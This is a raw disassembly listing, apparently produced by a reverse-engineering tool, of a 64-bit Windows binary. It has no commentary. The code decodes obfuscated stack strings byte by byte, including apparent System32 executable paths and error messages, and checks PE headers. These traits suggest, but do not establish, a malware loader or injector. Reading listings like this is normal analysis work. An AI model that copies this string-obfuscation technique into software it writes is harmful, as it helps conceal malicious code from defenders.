mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa8e], al
mov r9d, esi
lea r8d, [rsi - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa8f], al
mov r9d, esi
mov r8, r14
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa90], al
mov r9d, esi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa91], al
mov r9d, esi
lea r8d, [rsi - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa92], al
mov r9d, esi
lea r8d, [rsi - 0x17]
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa93], al
mov r9d, esi
lea r8d, [rsi - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa94], al
mov r9d, esi
lea r8d, [rsi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa95], al
mov r9d, esi
lea r8d, [rsi - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa96], al
mov r9d, esi
lea r8d, [rsi - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa97], al
mov r9d, esi
lea r8d, [rsi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa98], al
mov r9d, esi
lea r8d, [rsi - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa99], al
mov r9d, esi
lea r8d, [rsi - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa9a], al
mov r9d, esi
lea r8d, [rsi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa9b], al
mov r9d, esi
lea r8d, [rsi - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa9c], al
mov r9d, esi
lea r8d, [rsi - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa9d], al
mov r9d, esi
lea r8d, [rsi - 0xc]
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa9e], al
mov r9d, esi
lea r8d, [rsi - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa9f], al
mov r9d, esi
lea r8d, [rsi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa0], al
mov r9d, esi
lea r8d, [rsi - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa1], al
mov r9d, esi
lea r8d, [rsi - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa2], al
mov r9d, esi
lea r8d, [rsi - 7]
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa3], al
mov r9d, esi
lea r8d, [rsi - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa4], al
mov r9d, esi
lea r8d, [rsi - 5]
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa5], al
mov r9d, esi
lea r8d, [rsi - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa6], al
mov r9d, esi
lea r8d, [rsi - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa7], al
mov r9d, esi
lea r8d, [rsi - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa8], al
mov r9d, esi
lea r8d, [rsi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xaa9], al
xor eax, eax
mov byte [rbp + 0xaaa], al
xor ebx, ebx
mov edi, ebx
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa71]
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + rdi + 0xa71], al
add rdi, r15
cmp rdi, rsi
jb 0x14002b442
mov byte [rbp + 0xaaa], bl
xor r9d, r9d
lea r8, [rbp + 0x309]
lea rdx, [rbp + 0xa71]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.1400a8858
int3
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp - 8], rax
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x14002bd27
mov byte [rbp + 0x2f0], 0x62
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f1], al
mov r9, rbx
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f2], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f3], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f4], al
mov r9, rbx
lea r8d, [r15 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f5], al
mov r9, rbx
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f6], al
mov r9, rbx
lea r8d, [r15 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f7], al
mov r9, rbx
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f8], al
mov r9, rbx
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2f9], al
mov r9, rbx
lea r8d, [r15 + 8]
mov dl, r12b
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2fa], al
mov r9, rbx
lea r8d, [r15 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2fb], al
mov r9, rbx
lea r8d, [r15 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2fc], al
mov r9, rbx
lea r8d, [r15 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2fd], al
mov r9, rbx
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2fe], al
mov r9, rbx
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x2ff], al
mov r9, rbx
lea r8d, [r15 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x300], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + 0x301], al
xor eax, eax
mov byte [rbp + 0x302], al
mov r14d, eax
mov r9, rbx
mov r8, r14
mov dl, byte [rbp + r14 + 0x2f1]
lea rcx, [rbp + 0x2f0]
call fcn.1400429f8
mov byte [rbp + r14 + 0x2f1], al
add r14, r15
cmp r14, rbx
jb 0x14002b68a
xor eax, eax
mov byte [rbp + 0x302], al
mov byte [rbp + 0xa30], reloc.WS2_32.dll_WSAGetLastError
lea r14d, [rax + 0x39]
mov r9d, r14d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa31], al
mov r9d, r14d
mov r8, r15
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa32], al
mov r9d, r14d
lea r8d, [r14 - 0x37]
mov dl, 0x76
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa33], al
mov r9d, r14d
lea r8d, [r14 - 0x36]
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa34], al
mov r9d, r14d
lea r8d, [r14 - 0x35]
mov dl, 0x6c
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa35], al
mov r9d, r14d
lea r8d, [r14 - 0x34]
mov dl, 0x69
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa36], al
mov r9d, r14d
lea r8d, [r14 - 0x33]
mov dl, 0x64
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa37], al
mov r9d, r14d
lea r8d, [r14 - 0x32]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa38], al
mov r9d, r14d
lea r8d, [r14 - 0x31]
mov dl, 0x50
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa39], al
mov r9d, r14d
lea r8d, [r14 - 0x30]
mov dl, WSAStartup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa3a], al
mov r9d, r14d
lea r8d, [r14 - 0x2f]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa3b], al
mov r9d, r14d
lea r8d, [r14 - 0x2e]
mov dl, 0x63
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa3c], al
mov r9d, r14d
lea r8d, [r14 - 0x2d]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa3d], al
mov r9d, r14d
lea r8d, [r14 - 0x2c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa3e], al
mov r9d, r14d
lea r8d, [r14 - 0x2b]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa3f], al
mov r9d, r14d
lea r8d, [r14 - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa40], al
mov r9d, r14d
mov r8, r13
mov dl, 0x64
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa41], al
mov r9d, r14d
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa42], al
mov r9d, r14d
lea r8d, [r14 - 0x27]
mov dl, 0x44
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa43], al
mov r9d, r14d
lea r8d, [r14 - 0x26]
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa44], al
mov r9d, r14d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa45], al
mov r9d, r14d
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa46], al
mov r9d, r14d
lea r8d, [r14 - 0x23]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa47], al
mov r9d, r14d
lea r8d, [r14 - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa48], al
mov r9d, r14d
lea r8d, [r14 - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa49], al
mov r9d, r14d
lea r8d, [r14 - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa4a], al
mov r9d, r14d
lea r8d, [r14 - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa4b], al
mov r9d, r14d
lea r8d, [r14 - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa4c], al
mov r9d, r14d
lea r8d, [r14 - 0x1d]
mov dl, 0x6d
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa4d], al
mov r9d, r14d
lea r8d, [r14 - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa4e], al
mov r9d, r14d
lea r8d, [r14 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa4f], al
mov r9d, r14d
lea r8d, [r14 - 0x1a]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa50], al
mov r9d, r14d
mov r8, r12
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa51], al
mov r9d, r14d
lea r8d, [r14 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa52], al
mov r9d, r14d
lea r8d, [r14 - 0x17]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa53], al
mov r9d, r14d
lea r8d, [r14 - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa54], al
mov r9d, r14d
lea r8d, [r14 - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa55], al
mov r9d, r14d
lea r8d, [r14 - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa56], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa57], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa58], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa59], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa5a], al
mov r9d, r14d
lea r8d, [r14 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa5b], al
mov r9d, r14d
lea r8d, [r14 - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa5c], al
mov r9d, r14d
lea r8d, [r14 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa5d], al
mov r9d, r14d
lea r8d, [r14 - 0xc]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa5e], al
mov r9d, r14d
lea r8d, [r14 - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa5f], al
mov r9d, r14d
lea r8d, [r14 - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa60], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa61], al
mov r9d, r14d
lea r8d, [r14 - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa62], al
mov r9d, r14d
lea r8d, [r14 - 7]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa63], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa64], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, r12b
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa65], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa66], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa67], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa68], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + 0xa69], al
xor eax, eax
mov byte [rbp + 0xa6a], al
xor ebx, ebx
mov edi, ebx
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa31]
lea rcx, [rbp + 0xa30]
call fcn.140042ccc
mov byte [rbp + rdi + 0xa31], al
add rdi, r15
cmp rdi, r14
jb 0x14002bcd7
mov byte [rbp + 0xa6a], bl
xor r9d, r9d
lea r8, [rbp + 0x2f1]
lea rdx, [rbp + 0xa31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.1400a8858
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xeb8], xmm0
mov qword [rbp + 0xec8], rax
mov byte [rbp + 0x8c0], r12b
mov r9, r14
mov dl, 0x43
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c1], al
mov r9, r14
mov r8d, 1
mov dl, 0x3a
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c2], al
mov r9, r14
mov r8d, 2
mov dl, 0x5c
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c3], al
mov r9, r14
mov r8d, 3
mov dl, 0x57
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c4], al
mov r9, r14
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c5], al
mov r9, r14
mov r8d, 5
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c6], al
mov r9, r14
mov r8d, 6
mov dl, 0x64
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c7], al
mov r9, r14
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c8], al
mov r9, r14
mov r8d, 8
mov dl, 0x77
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8c9], al
mov r9, r14
mov r8d, 9
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8ca], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x5c
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8cb], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x53
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8cc], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x79
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8cd], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8ce], al
mov r9, r14
mov r8d, select
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8cf], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d0], al
mov r9, r14
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d1], al
mov r9, r14
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d2], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d3], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x5c
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d4], al
mov r9, r14
mov r8, rsi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d5], al
mov r9, r14
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d6], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d7], al
mov r9, r14
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d8], al
mov r9, r14
mov r8d, Ordinal_27
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8d9], al
mov r9, r14
mov r8d, Ordinal_27
mov dl, 0x61
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8da], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_26
mov dl, 0x64
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8db], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_27
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8dc], al
mov r9, r14
mov r8d, Ordinal_32
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8dd], al
mov r9, r14
mov r8d, Ordinal_32
mov dl, 0x78
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8de], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_30
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + 0x8df], al
xor eax, eax
mov byte [rbp + 0x8e0], al
mov r12d, eax
lea r13d, [rax + 1]
mov r9, r14
mov r8, r12
mov dl, byte [rbp + r12 + 0x8c1]
lea rcx, [rbp + 0x8c0]
call fcn.140042a70
mov byte [rbp + r12 + 0x8c1], al
add r12, r13
cmp r12, r14
jb 0x14002c0be
xor eax, eax
mov byte [rbp + 0x8e0], al
lea rax, [rbp + 0x8c1]
mov qword [rbp + 0xbe8], rax
mov byte [rbp + 0x8a0], reloc.WLDAP32.dll_Ordinal_33
mov r12d, reloc.WLDAP32.dll_Ordinal_30
mov r9d, r12d
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a1], al
mov r9d, r12d
mov r14, r13
mov r8, r13
mov dl, 0x3a
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a2], al
mov r9d, r12d
lea r8d, [r12 - 0x1c]
mov dl, 0x5c
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a3], al
mov r9d, r12d
lea r8d, [r12 - 0x1b]
mov dl, 0x57
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a4], al
mov r9d, r12d
lea r8d, [r12 - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a5], al
mov r9d, r12d
lea r8d, [r12 - 0x19]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a6], al
mov r9d, r12d
lea r8d, [r12 - 0x18]
mov dl, 0x64
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a7], al
mov r9d, r12d
lea r8d, [r12 - 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a8], al
mov r9d, r12d
lea r8d, [r12 - 0x16]
mov dl, 0x77
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8a9], al
mov r9d, r12d
lea r8d, [r12 - 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8aa], al
mov r9d, r12d
lea r8d, [r12 - 0x14]
mov dl, 0x5c
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8ab], al
mov r9d, r12d
lea r8d, [r12 - 0x13]
mov dl, 0x53
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8ac], al
mov r9d, r12d
lea r8d, [r12 - 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8ad], al
mov r9d, r12d
lea r8d, [r12 - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8ae], al
mov r9d, r12d
lea r8d, [r12 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8af], al
mov r9d, r12d
lea r8d, [r12 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b0], al
mov r9d, r12d
lea r13d, [r12 - 0xe]
mov r8d, r13d
mov dl, 0x6d
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b1], al
mov r9d, r12d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b2], al
mov r9d, r12d
lea r8d, [r12 - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b3], al
mov r9d, r12d
lea r8d, [r12 - 0xb]
mov dl, 0x5c
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b4], al
mov r9d, r12d
mov r8, rsi
mov dl, 0x77
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b5], al
mov r9d, r12d
mov r8, rdi
mov dl, 0x69
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b6], al
mov r9d, r12d
lea r8d, [r12 - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b7], al
mov r9d, r12d
mov r8, r15
mov dl, 0x76
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b8], al
mov r9d, r12d
lea r8d, [r12 - 6]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8b9], al
mov r9d, r12d
lea r8d, [r12 - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x8a0]
call fcn.140042b60
mov byte [rbp + 0x8ba], al
mov r9d, r12d
lea r8d, [r12 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
